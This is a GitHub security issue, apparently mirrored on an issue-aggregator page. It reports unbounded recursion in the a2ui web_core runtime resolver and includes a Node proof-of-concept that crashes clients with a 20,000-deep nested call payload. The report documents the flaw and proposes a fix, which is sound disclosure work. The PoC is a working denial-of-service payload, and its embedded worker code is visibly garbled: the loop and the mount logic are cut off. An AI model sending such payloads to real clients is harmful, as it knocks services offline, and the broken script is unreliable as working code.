a2ui-project / a2ui-project/a2ui

[BUG]: Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)

Đang mở
#2,388 2 bình luận 0 reaction 1 người được giao Được @Varun-S10 nhận Xem trên GitHub
P2 status: first-line-handled status: needs review type: bug
Ngôn ngữ chính
TypeScript
Star
16.4k
Fork
1.3k
Merge trung bình
2 ngày 13 giờ
Pull request đã merge (30 ngày)
134

Mô tả

# Nested `{call}` arguments recurse without a depth guard in the runtime resolver (stack overflow on mount)

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-674 (Uncontrolled Recursion) / CWE-400

## Summary

Because `FunctionCall.args` is `z.record(z.any())`, an argument value may itself be a `{call}` object, and `DataContext.resolveSignal` recurses into each nested call — with **no depth guard**. The expression *parser* caps nesting at `MAX_DEPTH = 10`, but the runtime resolver that evaluates already-structured payloads has no equivalent limit. A dynamic property whose value is a 20,000-deep chain of `{call:'regex', args:{value: {call:…}}}` exhausts the stack during initial prop resolution — i.e., when the surface mounts, with no user interaction. This is distinct from the renderer-layer DoS reported in the first advisory batch (deep component *trees*); the recursion here is in function-call *argument structure*, before any rendering.

## Affected code

- `renderers/web_core/src/v0_9/rendering/data-context.ts` — `resolveSignal` recurses per nested `{call}` arg, no depth parameter or guard (npm dist `v0_9/rendering/data-context.js:149-150`)
- Contrast: `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — parser-side `MAX_DEPTH = 10` (npm dist `…/expression_parser.js:26`) shows the intended bound

## Observed behavior (measured)

Published package; a TextField `value` bound to a 20,000-deep nested call crashes at mount (isolated in a Worker thread with its own stack so the harness can capture the error):

```
RangeError: Maximum call stack size exceeded
at DataContext.resolveSignal (…/rendering/data-context.js:149:48)
at DataContext.resolveSignal (…/rendering/data-context.js:150:40) ← repeated
```

(8,000-deep chains did not yet overflow in the same Worker configuration; 20,000 does, reliably.)

## Impact

One spec-valid `updateComponents` message reliably crashes the client (stack exhaustion) at surface mount. No gesture, no preconditions. Availability only.

## Suggested remediation

- Thread a depth counter through `resolveSignal` (mirroring the parser's `MAX_DEPTH`) and reject nested-call chains beyond it with an `A2uiExpressionError`.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. The script below is self-contained: it writes its worker helper (shown in the embedded string) next to itself, then runs the mount inside the Worker so the `RangeError` can be reported instead of killing the process. Run `node poc_f24.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f24.mjs — F-24: nested {call} args → resolveSignal unbounded recursion →
// stack overflow on MOUNT (no gesture, no depth guard). The overflow crashes the
// JS stack; we isolate it in a Worker (own stack) and capture its error so the
// host can report cleanly.
import { Worker } from 'node:worker_threads';
import { writeFileSync } from 'node:fs';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';

const workerSrc = `
import { parentPort } from 'node:worker_threads';
import { MessageProcessor, ComponentContext, GenericBinder, Catalog } from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';
function nestedCall(d){ let c={path:'/x'}; for(let i=0;i{});
parentPort.postMessage({thrown:false});
} catch(e){ parentPort.postMessage({thrown:true,name:String(e?.name||''),head:String(e?.stack||'').split('\\n').slice(0,5).join(' | ')}); }
`;
const here = fileURLToPath(new URL('.', import.meta.url));
const workerPath = join(here, '.poc_f24_worker.mjs');
writeFileSync(workerPath, workerSrc);

const result = await new Promise((res) => {
const w = new Worker(workerPath);
const t = setTimeout(() => res({ thrown: false, timeout: true }), 8000);
w.on('message', (m) => { clearTimeout(t); res(m); w.terminate(); });
w.on('error', (e) => { clearTimeout(t); res({ thrown: true, name: String(e?.name || ''), head: String(e?.stack || e?.message || '').split('\n').slice(0, 4).join(' | ') }); w.terminate(); });
});

// if the worker crashed before postMessage, its 'error' event carries the RangeError
const so = result.thrown && /RangeError|Maximum call stack|resolveSignal/i.test(result.name + ' ' + result.head);
console.log(JSON.stringify({ finding: 'F-24-nested-call-args-stack-overflow', depth: 20000, worker_result: result, confirmed: so }, null, 2));
process.exit(so ? 0 : 1);
```

Hướng dẫn đóng góp

Mở hướng dẫn đóng góp

Hướng nghiên cứu

Look at renderers/web_core/src/v0_9/rendering/data-context.ts, specifically the resolveSignal function. Compare with the parser's MAX_DEPTH guard in expression_parser.ts. Add a depth counter to resolveSignal to mirror the parser's limit, and test by creating a deeply nested call chain. The failing test is the PoC script; run it to verify the fix prevents the stack overflow.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Đánh giá

Công nghệ
javascript, node.js, typescript
Lĩnh vực
backend, security
Loại issue
Lỗi
Độ khó
3/5
Thời gian dự kiến
1-2 ngày
Mức độ hoạt động
Sôi nổi
Độ rõ ràng
Đặc tả rõ ràng
Mức phù hợp với người mới
65/100

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.